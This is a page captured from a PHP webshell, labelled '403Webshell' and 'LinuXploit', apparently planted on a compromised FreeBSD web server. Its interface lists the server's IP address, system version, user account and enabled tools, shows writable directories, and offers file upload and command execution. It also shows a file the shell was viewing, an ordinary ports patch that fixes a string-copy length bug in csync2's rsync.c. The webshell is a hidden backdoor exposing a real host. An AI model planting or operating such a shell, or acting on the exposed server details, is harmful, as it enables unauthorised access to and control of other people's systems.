403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/csync2/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/csync2/files/patch-rsync.c
--- rsync.c.orig	2015-03-09 14:08:51 UTC
+++ rsync.c
@@ -41,6 +41,7 @@
 
 /* This has been taken from rsync:lib/compat.c */
 
+#if 0
 /**
  * Like strncpy but does not 0 fill the buffer and always null
  * terminates.
@@ -61,6 +62,7 @@ static size_t strlcpy(char *d, const cha
         }
         return ret;
 }
+#endif
 
 /* splits filepath at the last '/', if any, like so:
  *	dirname		basename	filepath
@@ -117,7 +119,10 @@ int mkpath(const char *path, mode_t mode
 		return -1;
 	}
 
-	strlcpy(temp,path,strlen(path));
+	if(strlcpy(temp,path,sizeof(temp))>=sizeof(temp)) {
+		csync_debug(1,"path too long: %s",path);
+		return -1;
+	}
 	csync_debug(1,"mkpath full path: %s",temp);
 	for( remaining=strchr(temp+1, '/'); remaining!=NULL; remaining=strchr(remaining+1, '/') ){
 		*remaining='\0';

Youez - 2016 - github.com/yon3zu
LinuXploit